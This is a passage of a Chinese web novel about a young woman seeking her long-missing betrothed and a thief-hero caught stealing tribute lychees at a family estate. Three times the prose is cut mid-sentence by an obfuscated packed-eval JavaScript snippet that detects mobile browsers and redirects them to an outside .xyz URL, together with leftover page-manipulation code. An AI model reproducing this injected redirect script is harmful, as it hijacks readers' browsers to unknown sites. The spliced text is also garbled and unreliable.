石台之上,大片的梨花中,男子的背影很有些虚缈,仿若下一刻便要消散在白色的梨花中。 不知为何,这一刻,那道背影竟与九年前的人重合,不由令人心神恍惚。 若他长成,也该是这样的清姿。 宣则灵突然开始紧张起来。 九年,有没有可能真能让人大变样? 宣则灵轻轻吸了口气,走上前:“玉公子。” 玉千洲回身看向小娘子,瞳孔微缩。 记忆中,好像也曾有过这样一幕,他等在梨花树下,她唤他一声,他便回身望去,便见一身桃粉色衣裙的小姑娘笑盈盈朝他走来。 广袖中的手紧紧握住,又松开。 “宣姑娘。” 玉千洲看着面前有些紧张的小娘子,道:“此处地势不平,风也大,不是赏景的好地方,宣姑娘若想看梨花,可去下边那片梨花园。” 宣则灵顺着玉千洲所指的方向看了眼后,轻轻垂眸:“我是来找玉公子的。” 玉千洲似有些意外:“哦?宣姑娘找我何事?” 宣则灵鼓起勇气抬眸细细看他,可不论怎么看,都寻不到半分熟悉的痕迹。 她的心慢慢沉下,难道当真只是巧合。 但来都来了,总不能什么都不问。 “我方才才知,原来公子也叫千洲。”宣则灵目不转睛盯着玉千洲,道:“我有一位故人也叫千洲。” 她试图从他脸上找出蛛丝马迹,但可惜,什么也没寻到。 除了那双眼睛,无一处像他。 玉千洲凝眸看了她片刻,才道:“是吗,所以呢?” 不待宣则灵回答,便又听他道:“是想说我与宣姑娘一位故人相似,还是说……” 玉千洲唇角轻轻扬了扬,微微俯身,意味不明:“姑娘想打听我?” 宣则灵眼底划过几丝错愕,随后面颊立刻涨红。 她方才这话确实很像是搭讪之言。 “我不是这个意思,我是真的有位故人,他叫解千洲。” 宣则灵心中的期待已经几乎全部消散,他从不会用这样的语气和她说话,即便世事变迁,性子也该不会转变如此之大。 玉千洲听着小娘子红着脸着急的解释,好一会儿才直起身子,别开视线:“重名不是什么稀奇事,应该不值当姑娘特意来这一趟。” 宣则灵便知他心中还有误会,忙道:“我那位故人已失踪九年,我方才听说玉公子是玉家养子,又见玉公子与我那位故人年纪相仿,一时恍惚,所以才来叨扰公子,没有旁的意思,还请玉公子见谅。” 玉千洲沉默了好半晌,才像是反应过来:“所以,你怀疑我是你那位故人?” 宣则灵抿着唇,紧紧盯着他。 而后便见玉千洲轻轻一笑,道:“我早年父母双亡,做过几年乞儿,后来得遇义父将我带回玉家,给我起名为千洲,不是姑娘的故人。” 宣则灵虽然早有准备,但确认后还是忍不住有些失落。 没有失忆,有来处,他不是他。 “宣姑娘,我不管你是不是真有这样一位故人,但从今以后,希望这样的事不会再发生。”玉千洲声音冷冽道:“此处虽是玉家果园,但也有外聘的工人巡查,你我男未婚女未嫁,若被人瞧见独处难免叫人误会,我虽是玉家养子,一言一行却也关乎玉家,宣姑娘身份贵重,玉家不敢高攀。” “告辞。” 宣则灵脸色一白,身形在山风中摇摇欲坠,玉家虽无官身却是皇商,又与明亲王府关系匪浅,只要玉家想,京官之家都娶得,她不过通判之女怎算高攀。 他这是在提点她,不要生别的念想。 宣则灵虽没有过这样的想法,可她方才行事确实容易叫人误会,遂稳住心神,挺直背脊,颔首:“抱歉,不会再有下次。” 最后一个字还未落下,男子已经错身离开,蓝色广袖被风拂动,在她的手背划过。 隐约有股松香。 他惯爱竹香。 宣则灵没再回头去看离开的身影,而是转身望向远方,眼眶微微湿润。 解千洲,你还活着吗? 不远处,玉千洲缓缓驻足,回过头。 小娘子迎风而立,衣袂飘飘,倔强独立。 宣家小娘子出挑而骄傲,承她父亲一身风骨,她不会再找他了。 玉千洲折身离开,有泪淹没在风中。 _ 姜蝉衣穿梭在梨花林,蹙着眉头四下张望,方才宣则灵说她想一个人走走,她想着这是玉家的地方,不会出什么事,便没跟着,可到现在人都没回来,她找了附近几处也没人见到,不免有些着急。 梨花林深处。 闻达在与燕鹤辞行。 “殿下如今已到玉家,卑职也该回去了。”人找到了,他没有再留下去的必要。留的越久,越生妄念。 燕鹤知他心系公务,也不多留,点头道:“好,有劳闻参军一路护送。” “不敢,能与殿下同行一程,是卑职的荣幸。”闻达恭敬道。 “姑娘,姑娘。” 这时,梨花林中传来动静,闻达细细听了后,垂眸道:“殿下,是姜姑娘。” 燕鹤自也听出来了,道:“嗯,黑店涉及极广,务必将每个人都找到,活要见人死要见尸。” “是,卑职遵命。”闻达。 燕鹤看向前方,道:“既要离开了,也该去同姜姑娘道个别。” 闻达紧了紧手中的刀,颔首:“是。” 姜蝉衣也听见了动静,忙迎过来,见是燕鹤二人,颇有些意外:“你们也在这?” 燕鹤:“嗯,刚与闻参军碰上。” 姜蝉衣忙问:“可瞧见姑娘了?” 宣姓并不是多见,且当地很多人都知道玱州通判宣伯棠的夫人是平江城人,以防万一被人听去,损了小娘子清誉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14027523|147328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在外头姜蝉衣都隐去宣则灵的姓。 燕鹤闻达都摇头:“没有见到。” 姜蝉衣心中担忧更甚,正想转身再去寻找,就听燕鹤道:“姜姑娘放心,这片山外人进不来,千洲也在这里,她不会有事。” 姜蝉衣一愣,抬眸看向燕鹤。 他的意思是,宣则灵和玉千洲在一处? 不过仔细想想好像也有可能,宣则灵离开时神色怔忡,或许真因重名一事去寻玉千洲了。 如此想着,姜蝉衣安心了不少。 这时,闻达才上前拱手道:“姜姑娘,我是向姜姑娘告别的。” 姜蝉衣一怔:“你要走了?” 闻达点头:“衙门还有堆积了很多案子。如今这边事了,我也该回去了。” 姜蝉衣想了想,确实也没再留人的理由,便拱手道:“好,山水有相逢,江湖再会。” 闻达不敢多看姑娘那双明亮的眼睛,垂下视线,沉声道:“后会有期。” 他说罢又向燕鹤拱手作别:“燕公子,告辞。” 燕鹤点头:“再会。” 目送闻达离开,燕鹤别有深意的看了眼姜蝉衣,小娘子眼神清澈,无任何杂念。 燕鹤自也就不多说什么。 “宣姑娘真的去找玉公子了么?” 燕鹤道:“若姜姑娘不放心,我陪你去找找。” 姜蝉衣自不拒绝,走出几步她突然想起什么,道:“燕公子,我本和云公子还有徐公子约好今日在平江城城门口相见,不知可能让请玉家的人帮忙去知会他们一声。” 末了解释了句:“我们一起接的刘家差事。” 燕鹤对此倒不意外,点头答应:“我回头便请玉公子让人走一趟。” “多谢。” 姜蝉衣道。 二人走出梨园,姜蝉衣不经意间一个抬眸就看见了山坡上立在石台处的身影。 姜蝉衣一愣:“她怎么爬到那里去了。” 那处路蜿蜒曲折,很不好走,她以为她不可能上去,便没往上头寻。 姜蝉衣正要过去,便被燕鹤拉住,朝她示意:“姜姑娘。” 姜蝉衣顺着燕鹤的视线望去,便见一道蓝色身影正往下走来。 “看来他们果真见过面了。” 姜蝉衣微微蹙着眉,看这般情形,应是确认玉千洲并不是解千洲了。 燕鹤有些不解道:“我方才听你们说起,宣姑娘有位故人与千洲同名。” 姜蝉衣点头:“嗯。” “夙安府解家原来的长公子,解千洲。” 夙安府,解家? 燕鹤记得解家的长公子好像不叫这个名字。 “原来的长公子?” 姜蝉衣看着上方那道身影,轻轻叹了口气,徐徐道:“与宣姑娘有婚约的是原来的解家长公子解千洲,后来传闻解千洲在解夫人的灵堂前意图弑父,逼死解老夫人,解家二爷便将他划出族谱,赶出解家,从此以后,了无音讯。” “宣姑娘原以为这桩婚事也就作罢,可谁曾想去岁解家来人要履行婚约,说是解宣两家的婚事过了京中云国公府的耳,退不得,可宣姑娘只认与她定下婚约的解千洲,所以才出此下策,制造被劫走的假象,待确认消息传到了玱州,夙安,解家来人退婚,她才愿意回去。” 云国公府,此事竟涉及外祖家。 燕鹤眸色微沉,不由看向远处的蓝色身影,问:“这是何时的事?” “九年前。” 燕鹤眼神一紧,九年前! 那不正是玉叔叔收养千洲的时候! 燕鹤负在身后的手缓缓握紧。 他记得管家曾经说过,千洲到玉家的第一件事,就是向玉叔叔求了一样可以改变容貌的药。 若千洲真是解千洲,就算宣则灵认不出他,他也一定能认出宣则灵。 可依眼下情形来看,他们并没有相认。 难道当真只是巧合? 不,此事恐怕没那么简单。 20.第 20 章 风和日丽,花香扑鼻。 小娘子立在花木之中,人比花娇。 可偏偏这样如花似玉的小娘子,却有着那样让人心疼的命运,姜蝉衣几不可闻的叹了口气,走过去:“宣姑娘。” “姜姐姐来了。” 宣则灵已经整理好心绪,看不出哭过的痕迹,笑着迎上去后,看见姜蝉衣后面的燕鹤和玉千洲,她微微颔首作礼。 视线未曾在玉千洲身上停留。 姜蝉衣只当不知方才所见,拉着她往回走:“我们回去吧。” 宣则灵点头:“嗯。” 宣则灵没看见闻达,便随口问了句,姜蝉衣答道:“闻参军已经回粟江了。” 宣则灵微讶:“怎走的这样急。” 她还没得及跟他道声谢。 “他有公务在身,不便在此久留,方才没有看到你才没有道别。”姜蝉衣解释道。 宣则灵眼神微闪,轻轻嗯了声。 想来那会儿正是她独自去见玉公子时。 回到庄子,管家已经备好晚饭,玉千洲第一次带友人回来,管家生怕有所怠慢,饭菜准备的特别丰盛。 用完饭,天还没黑透。 管家的视线若有似无的落在宣则灵身上,眼底闪过精光。 这套衣裙可是千洲公子特意吩咐的颜色,果真是穿在这位小娘子身上了,以他过来人的经验,千洲公子和这位小娘子的关系指定不简单。 千洲公子这还真不是不鸣则已一鸣惊人啊! 他是否得给家主去封信告知,不过...听说家主被一个女子追的离城,现在还没有消息。 想起家主的婚事,管家就觉头疼,暗道千洲公子可万不能步家主的后尘,三十几了还不娶亲,抬头一看,他家公子冷着那张脸,像要把人冻死在这里。 天老爷,这幅杀神样子哪家姑娘看了不害怕。 于是,管家笑着上前道:“公子,您的院子里有不少奇花异草,前两日刚到了几盆名贵的牡丹,此时开的正艳呢,天色还早,公子可带贵客移步去赏花。” 哪个小娘子不爱花,而公子院里最多的就是花,也好叫小娘子知道公子面冷心热。 玉千洲闻言沉默了下来。 姜蝉衣好奇道:“玉公子喜欢花草?” 玉千洲的性子可不像是喜欢养花的。 燕鹤也有些微讶的看向玉千洲。 玉千洲触及到燕鹤的视线,拒绝的话不得不咽回去。 小半刻后,一行人看着满院子的花卉目瞪口呆。 管家那句‘不少奇花异草’真不是虚言,这花都快将院子淹了! 几人不约而同看向玉千洲,包括宣则灵。 她实在没想到他竟对花草如此热爱。 玉千洲被几双眼睛注视着,脸上难得有几分不自然,沉声解释道:“这是义父吩咐布置的。” 姜蝉衣面露了然之态:“原是这样。” 说罢,她便拉着宣则灵拾阶而下,两个小娘子穿梭在花草中,声音愉悦:“我还从来没有见过这么多花堆在一起,宣姑娘,你可认得这些花?” 宣则灵大多都认得。 她很喜欢养花,方才一进来就觉眼前一亮,只是顾及着这是玉千洲的院子,因白日之事,她强行压下视线不去打量。 若非姜蝉衣拉她进去,她定不会涉足。 而眼下被带着置身于花草之中,芳香扑鼻,白日种种情绪好像都随之消散,心情也跟着明朗了不少,听姜蝉衣这般问,便回道:“大多都认得,这里的花草都很是名贵。” 姜蝉衣想要碰触的手指一顿,回头道:“多名贵?” 宣则灵看向她面前这盆,道:“这是白雪塔牡丹,像这样的一盆大约在一百两银子。” 姜蝉衣一惊,一百两? 把他们落霞峰掘地三尺,也卖不出这么多银子。 良久后,她用指腹轻轻点了点花朵,道:“你可真贵啊。” 燕鹤玉千洲不紧不慢的跟上小娘子,燕鹤看了眼大师姐同牡丹花嗔语,收回视线,问:“玉叔叔为何要给你布置这么多花?” 玉千洲道:“义父说我性子沉闷,多养些花添点活气。” 原话是‘我真怕哪天把你养死了,你不出门听乐曲那就多看看鲜花,感受感受鲜活的气息,人生的美妙’。 姜蝉衣听见这话,不由多看了玉千洲几眼,暗道那位玉家主定是个有趣之人。 “我记得你说过之前并未来这里住过。”燕鹤。 玉千洲眸底闪过几丝异色,而后才沉声道:“但凡我的院落,都是如此。” 不止这一处,凡玉家他的住处,院里都是被花花草草堆满了的。 姜蝉衣闻言抬起头,道:“你义父对你可真好。” 宣则灵这时也抬眸看了眼玉千洲。 许多亲生父亲怕都不能做到这种地步,且从管家待他的态度便也知玉家主很是疼爱他,按理,他应该很幸福,可他的眼中为何却弥漫着灰暗之色。 宣则灵挪开视线,这些左右与她无关,若千洲哥哥有幸遇到这样的人家,她真心希望他能放下一切,好好过日子。 正是错开的那一瞬,她没有看见玉千洲明亮起来的眼神,若是瞧见,只会觉得更像故人。 “嗯,义父于我,如再生父母。” 如此大恩,是他倾尽一生也无法偿还的。 燕鹤笑了笑,意有所指道:“缘分二字最难以琢磨,人世无常,今日我们相聚在此便是缘,若事事都要算清楚,才是辜负这二字。” 玉千洲还没开口,就见姜蝉衣似是想起了什么,走过来道:“对了,今日贵府替我采买的衣裙首饰不知花了多少钱,还有这几日的住宿费和伙食费,他日我定还给贵府。” 宣则灵闻言也走了过来,先是屈膝一礼,后道:“公子见谅,我眼下身上没有银钱,等回去后定如数还给公子。” 玉千洲拧着眉头,他没想让她们还。 燕鹤怔愣之后无声笑了笑,大师姐简直是神来之笔。 还有什么比亲身经历叫人体会更深? 果然,只见玉千洲神色怔忡的立着,久久无话。 燕鹤这时便道:“大家相逢一场,也算是并肩作战过,更是共经生死,何必在意这些小节,江湖儿女谁没有落难的时候,玉公子将两位姑娘当做朋友才慷慨相赠,若是谈银钱反倒伤了情分。” “玉公子,你说是吗?” 玉千洲堪堪回神,沉声道:“是,两位姑娘不必在意。” 姜蝉衣和宣则灵还要再说什么,就听燕鹤又道:“玉家家大业大,若赠与友人之物,连友人来住几日都要收取银钱,传出去玉家脸面何存。” 姜蝉衣和宣则灵对视了一眼,不再坚持,各自行礼道谢。 玉千洲亦拱手还礼。 方才那一刻,他也说不出内心是怎样的情绪,总归不大好受,几日同行情分尚且如此,那他这些年自以为的不敢亏欠对于义父来说,又是怎样锋利的一把伤人利剑。 小插曲过去,小娘子们又被花迷了眼。 花开正艳,有蝴蝶停留,但满院芳香,蝴蝶约莫是没分清哪朵是它可以采摘的花,施施然停在了小娘子手上。 宣则灵仿佛受宠若惊,笑容格外地灿烂,似是怕惊走了它,有些紧张地弯着腰一动不动。 姜蝉衣立在花树下满眼笑容的看着这一幕,小娘子就该像这样笑着,笑起来才好看。 最后一点余晖洒在花丛中,燕鹤的目光落在大师姐身上,跟着弯起唇。 玉千洲盯着手上有蝴蝶停留的小娘子,半晌没能挪开视线。 最后一点天光消失,院里也点上了灯笼。 今日正逢十五,几人决定在院中赏月。 管家准备了点心水果,还有几坛子去岁酿的梨花酒。 “美酒佳肴,美人鲜花相伴,实乃人生一大幸事。”姜蝉衣举杯感叹道。 燕鹤淡笑不语,端起酒杯。 玉千洲宣则灵也举杯饮下。 突然,姜蝉衣放下酒杯,蹙眉:“你们有没有听见什么声音?” 宣则灵茫然的啊了声,然后迅速凑近姜蝉衣,声音微颤:“姜姐姐,什么声音啊?又来刺客了吗?” 燕鹤与玉千洲对视一眼,不动声色的瞥了眼某处屋顶。 姜蝉衣拍了拍宣则灵的手以示安抚:“没事,别怕,没有杀气,应不是黑酆门的人。” 姜蝉衣随手拿起酒杯,又放下,玉制的,赔不起。 而后捻了颗极小的荔枝掷出,喝道:“出来!” 一阵窸窸窣窣后,只见一只手从屋顶上举起来,手里还捏着一颗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14037644|147328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荔枝:“是我是我,姜姑娘手下留情。” 这道声音姜蝉衣和燕鹤都熟悉。 “云广白?” 月色下,宣则灵只隐约看见屋顶上有什么东西在动,吓的拽紧姜蝉衣的衣袖,只敢躲在她身后探头去望。 玉千洲见燕鹤姜蝉衣都认识来人,便也没再动作。 下一刻,只见那黑影重重地砸在了地上! 姜蝉衣忍不住嘶了声,听着那惨烈的痛呼,她侧首看向燕鹤:“他武功好像没这么差?” 燕鹤一时也不大明白:“...云公子轻功虽不比姜姑娘,但既是侠盗,飞檐走壁应该不成问题才是。” 不至于一个屋顶的高度就把人摔成这样。 宣则灵瞪大眼。 侠盗?那不就是遭贼? 玉千洲这时道:“他扛了很大一袋东西。” 人从屋顶跳下来时燕鹤姜蝉衣正因听出对方的身份对视错开了眼,但玉千洲却看的很清楚。 侠盗,扛了很大一袋东西。 还被主人家看见,这就有些微妙了。 燕鹤沉默片刻,欲起身去寻,却听那边人已经坚强的爬起来了,正往这边走,听脚步声应该也没摔出什么问题。 人越来越近,就连宣则灵都听出了不对劲。 “他好像在拖什么。” 姜蝉衣抿唇不语。 此时此刻,她只希望他拖的是一堆破铜烂铁亦或者是黑酆门杀手的尸体,总之绝对不能是从玉家偷的东西! 然而事与愿违,没过多久,那道人影便清晰了。 几人眼睁睁看着少年一个使力将极其大一袋东西抗在肩上,踉跄几下之后才稳住身形走过来:“姜姑娘,是你吗?” 姜蝉衣看了眼他肩上的东西,未语。 正在这时,庄子里的管家急匆匆跑过来:“公子,不好了,庄子里遭贼了!” 话落,院里落针可闻。 姜蝉衣闭了闭眼,深吸一口气。 她现在若无其事的坐回去,同玉公子说她不认识这个偷他们家东西的人还来得及吗? 管家与云广白大眼瞪小眼几息后,忙扯着嗓子喊:“来人啊,贼人在这里,别让他跑了!” 不过几息,云广白就被庄子上的家丁团团围住。 火把顿时将院子照的犹如白昼。 也将少年那张脸照的非常清楚。 对峙片刻后,云广白放下肩上麻袋,举起手,赔笑道:“那个,我什么,就是迷路了,嘿嘿,只拿了几颗荔枝,没拿别的。” 所有人的视线不约而同落在地上比他人还大的麻袋上,这叫...几颗? “公子,就是这个人,他闯进果园摘了整整半棵树的荔枝!”管家气的面红耳赤:“那树结的最好,是要摘了送去皇宫的,都给他祸害了!” 玉千洲淡淡看向云广白。 云广白摸了摸鼻子,心里那叫一个后悔。 好死不死,怎么把贡品给摘了? 看来今日不好脱身了...诶? 云广白迅速看了眼姜蝉衣,她能在这里喝酒,那是不是与这里的主人家交情不浅,如此想着,他忙道:“误会,都是误会,我们认识...” “大胆贼人!”管家厉声喝道:“这里都是公子的贵客,谁跟你认识!” 但话是这么说,管家和家丁还是忍不住看向燕鹤等人。 这庄子常年无事,他们一来就遭了贼,贼还声称与他们认识,这确实很难让人不起疑,当然他们不是怀疑公子,而是担心公子被这些人骗了。 一众怪异视线下,姜蝉衣燕鹤眼观鼻鼻观心,面色如常,心里却不约而同的想,刚才就应该先将姓云的藏起来! 也不至于要丢这么大的脸! 宣则灵对上管家和家丁的视线,水灵灵的眼睛满是惶恐。 她不认识他,她什么也不知道啊。 她是大家闺秀,不可能认识侠盗的。 云广白咧着一口大白牙继续跟姜蝉衣打招呼:“我还以为那人是骗我的呢,原来姜姑娘真的在这里啊,姜姑娘?” 姜蝉衣低下头。 姜姑娘她不在。 云广白余光瞥见什么,眼睛一亮,往前几步:“诶,燕公子也在啊。” 燕鹤垂目。 谁是燕公子? 21.第 21 章 玉千洲将这一切收入眼底,今日从果园回来,殿下让他差人去平江城城门给两位姓云和姓徐的公子传话,方才,他听殿下和姜姑娘同时叫了这位少年的名字,好像正是云姓。 想来,这位少年与殿下是旧识。 此时此刻,一众家丁看姜蝉衣一行人的眼神已经很是微妙了。 难不成,真的是这几人里应外合,来玉家盗窃贡品? “白日他们说去逛果园,怕不是就是去踩点的。”这时,有家丁小声朝管家道:“这也太不要脸了,公子好吃好喝招待他们,他们竟来偷东西!” 姜蝉衣,燕鹤:“...” 他们听得见。 姜蝉衣深吸一口气,几乎与燕鹤同时抬起头。 不论今日如何丢脸,人还是得保。 只是二人还没来得及开口,就听玉千洲道:“林叔,此事确实是误会,是我让云公子去摘的荔枝。” 燕鹤姜蝉衣一愣,看向玉千洲。 庄子里的管家,也就是林叔亦是大惊:“公子!” 千洲公子平日生怕亏欠了家主,开支都是能省则省,怎么可能让人去摘贡品! 云广白倒也是个上道的,连忙道:“对对对,就是你们公子让我去摘的,说是今夜夜色甚好,适合尝鲜,我就是夜黑风高的看不清,不小心摘多了几颗。” 众人:“...” 得有多不小心,才多摘了那么大一麻袋。 玉千洲凝眸看着云广白半晌,咬牙道:“是这样。” 他想说的是请他摘回来明日送去京城,他倒好,这种时候了,还想着吃! 一众家丁你看看我我看看你,这是抓贼抓到自家公子身上了? 林叔脸色也是一言难尽,但,好像也不是什么大事! 他冷静下来,快速思索着,那位姓燕的公子身上带着玉家玉佩,这是只有家主才能给的信物,说明是被家主认可的,他不应该会来哄骗千洲公子。 再者千洲公子是什么人,怎可能轻易被人骗了去。 以前千洲公子独来独往,身边连个小厮都不要,如今好不容易有了朋友,还愿意替他们遮掩下这么大的事,一则说明情谊深厚,二则千洲公子愿意担下,说明当真是想通了,不再怕亏欠家主什么,将自己真正当成了玉家人。 不论哪点,都不是坏事。 思绪理通后,林叔屏退家丁,笑容满面:“原来是这样,是老奴误会了。” 云广白咧着嘴嘿嘿笑:“对对对,误会误会。” 林叔瞥了眼地上的麻袋,唇角抽了抽:“公子,老奴去取个大些的盘来。” 玉千洲将拒绝的话硬生生生憋回去:“嗯。” 既是尝鲜,总不能叫他们把东西搬走。 云广白见管家走远了,倒也知趣,躬身朝玉千洲一礼:“多谢公子相救。” 然话音刚落,却见管家又急匆匆回来,请示道:“公子,还有一位公子,方才将他当成贼抓了,不知可也是误会?” 玉千洲看向云广白。 他哪里知道他有没有同伙。 云广白忙问:“他是不是姓徐。” 林叔回答:“是。” 玉千洲不动神色地看了眼姜蝉衣,后者轻轻点头,他便明白这位也是旧时,便道:“将徐公子请过来吧。” “是。” 之后,小院里陷入一片死寂。 好在云广白脸皮厚。 没人问,他自己也能解释:“我收到消息后,就和徐兄一道来了,我见这庄子里有果园,便摸黑去查探了一番,徐兄应该是在外面等我时被抓的。” 好一个查探了一番! 他当自己山大王? 但好歹是自己给自己蒙了层遮羞布,抛开事实不谈,气氛到底是缓和了些。 然很快,仆人取来几个大盘,将荔枝装了整整几大盘。 几人又沉默了,这层遮羞布在事实面前毫无作用。 “云广白!” 平地一声怒吼,吓的云广白身形一颤,众人回头,就见一个背着箧笥的书生怒气冲冲的冲过来,一把揪住云广白的衣领:“你不是说你去方便吗?啊?你方便方便到人家果园里去了,啊?你跑人家果园里偷东西就算了,还偷贡品,偷贡品就算了,你还偷整整半树,最重要的是你还连累我,我告诉你我是要考状元的,你要是连累了我我弄死你,啊!” “你说话啊,哑巴了!” 云广白深吸一口气,弱弱地抬起手指:“玉公子。” “什么玉公子,今天天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14044161|147328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王老子来了你都给我一个交...玉公子?”徐青天话音一顿,猛地偏过头就对上玉千洲黑沉的双眸,对视几息,他深吸一口气,回过头,从牙缝里挤出来几个字:“你别告诉我你偷东西还撞上了人家少东家。” 云广白眨眨眼,扯出一抹笑。 徐青天只觉一口气提到了嗓子眼,再次深吸一口气,他放下云广白的衣领,转身仪态端正的作了个揖,声音温润:“小生初来贵宝地迷了路,与此人不熟,是个误会,请玉公子见谅。” 变脸的速度,跟方才林叔不相上下。 姜蝉衣紧紧抿住唇,宣则灵攥紧手指,小娘子们尽了全力忍耐才没让自己笑出声。 燕鹤压着上扬的唇角,道:“徐公子。” 徐青天不会武功,在黑夜里眼神不怎么好使,云广白站在灯笼下他才能第一个看见,听得熟悉的声音连忙循声望过来,而后便也看到了姜蝉衣,面上一喜,拱手作揖:“燕公子,姜姑娘。” 书生温文尔雅,与方才揪着云广白衣领发疯的人判若两人。 长久的沉寂中,玉千洲先开口:“二位请坐。” 这些东西本就是送去皇宫的,太子殿下在此,又不知他们与太子殿下的关系,玉千洲自然不可能发难。 云广白受宠若惊,嘴里念着不敢,人却很诚实的搬了个椅子坐下,还顺手给徐青天搬了个过来。 徐青天狠狠剜他一眼,再抬起头,又是一副温和之态。 之后便是身份介绍,玉千洲这才清楚原来燕鹤与云广白没有深交,不过是一面之缘,但见燕鹤有维护之意,他便将此事暂且按下。 云广白徐青天也知道了宣则灵被劫一事的真相,沉默过后,徐青天道:“宣姑娘也是此事的受害者,何苦如此自损。” 宣则灵苦笑了下:“我没有别的法子了。” 宣则灵话落后,小院中很久都无人再开口,此事确实已经陷入了僵局,且好像没有回旋的余地了。 宣则灵失踪的消息此时应该已经送出去了。 通判家的小娘子失踪两日,刘家担不起这个责,必然要传信给玱州,自然也就瞒不过夙安府。 “除非,找到解大公子,一切就还来得及。” 不知过了多久,突然听云广白道。 22.第 22 章 几道目光同时落到云广白身上,他左右看了眼后,声音微弱了些:“如果能找到解大公子,事情不就迎刃而解了?” 徐青天没好气道:“哪有那么简单,你能保证解大公子如今还想履行婚约?亦或是人还活...” 话音突然顿住,徐青天飞快看了眼宣则灵,歉然道:“抱歉。” 宣则灵摇头:“无妨,这么多年了,我对此早有心理准备。” 她早已做好最坏的打算,若他还活着,不可能音讯全无。 玉千洲饮了口酒,眼底暗光浮动。 “那怎么办,就这么看着宣姑娘葬送大好年华?”云广白刚入江湖,正是少年义气时,哪里见得了这样的不公,豪气万丈道:“实在不行,我们打上那夙安府解家,逼他们退婚!” 徐青天:“……” 他笑了笑,纠正:“是你,没有们。” 他当夙安府是什么地方,那是知府门庭,打人家不就是肉包子打狗,真真是个憨货。 云广白:“那怎么办嘛,对了,不是说跟云国公府有关,要不...唔!” 徐青天忍无可忍一把捂住他的嘴,咬牙道:“你可闭嘴吧。” 云国公府乃是太子殿下的母族,他也敢招惹,他不要命他还要呢! 哪家这么虎敢把这么莽的儿子放出来游历江湖。 燕鹤不动声色的看了眼云广白。 他也实在没想到这件事竟然牵扯到了外祖家,更不知外祖母曾看中解大公子做孙婿,按年纪算,应该是大舅舅家的表姐。 如今两位表姐都已经有婚事了。 更何况,时隔多年,他不认为外祖母还记得这件事,且不过就是两家没有缘分,外祖母何至于为此迁怒,恐怕此事多是因解家大房多心而起。 “唔!” 云广白强行扒开徐青天的手,皱眉道:“我又没说要打云国公府。” 他又不是疯子,打云国公府他老子都保不住他。 “那你什么意思?” 自从被云广白牵连作了回‘贼’后,徐青天对云广白就看鼻子不是鼻子,看眼不是眼,往日的和煦是半点也不装不出来了。 云广白解释道:“我只是想说,若是能托关系走云国公府的路子,这事说不定有回旋的余地。” “那解家不就是怕云国公府迁怒不敢退婚吗,只要云国公府那边表了态,这桩婚事不就能退了吗?” 徐青天:“……你当云国公府是什么地方,是能随意惊动的,且按我说,云国公府记不记得这事都还不一定。。” 这话确实是很中肯的,先不论能不能将话递进去,就算真有门路,也不是等闲能求来准话的。 难不成云国公府还专门为十几年前的一句话,跑来断解宣两家这个官司? 一片寂静后,宣则灵起身屈膝行了一礼,感激道:“诸位恩情小女子铭记在心,却实不敢再令诸位因此事烦心。” 姜蝉衣忙起身扶她起来,似是下定了什么决心般,握着她的手认真道:“宣姑娘,相识一场,岂有眼睁睁看你受苦的道理,我决定了,此事我定管到底。” 她实在不忍见她走向那样的结局。 云广白也赶紧接腔道:“是啊宣姑娘,我出来闯荡江湖为的就是能解众生苦,既然遇到了,肯定不可能坐视不理。” 徐青天翻了个白眼,他倒是大言不惭。 解众生苦,解到人家果园去了? “我认为此事解家并不占理,与宣姑娘定婚的并非如今的解大公子,既然那位解大公子已经不在解家,婚事本就该作废,凭何要搭进去姑娘的一生。”徐青天道:“我出来游学,便是要路见不平,拔刀相助,这事算我一个。” 不过若要解决这件事,恐怕免不得要跑一趟夙安府或玱州,就他们这几个身无分文的腿着去么,那自然得拉上财神爷啊。 在座两位财神爷,一位脸冷的像要冻死人,另一位温润如玉,还有过一饭之恩,显然更好说话些。 徐青天遂拿眼神去瞟燕鹤。 燕鹤看了眼沉着脸的玉千洲,眸光微转,再看向宣则灵,温声道:“这件事还没有到绝路,宣姑娘且放宽心。” 这就是愿意帮忙了。 徐青天迅速与姜蝉衣云广白交换了个眼神:“有燕公子帮忙,必定事半功倍。” 云广白:“燕公子大义!” 姜蝉衣:“燕公子人美心善。” 宣则灵眼含泪光,万分动容,又是屈膝一礼:“多谢诸位,小女子无以为报……” “以身相许万万不可。”云广白打断她,嘿嘿一笑道。 几道目光同时扫来,尤其有一双冷眸犹如利剑,云广白连忙解释:“我就开个玩笑,这话后面不都是接这句么…我是想说,没关系,管饭就成。” 被他这一岔,宣则灵的眼泪也收了回去,认真承诺道:“不管成与不成,都必有重谢。” “宣姑娘这是什么话,不过是举手之劳。”云广白:“有十两金吗?” 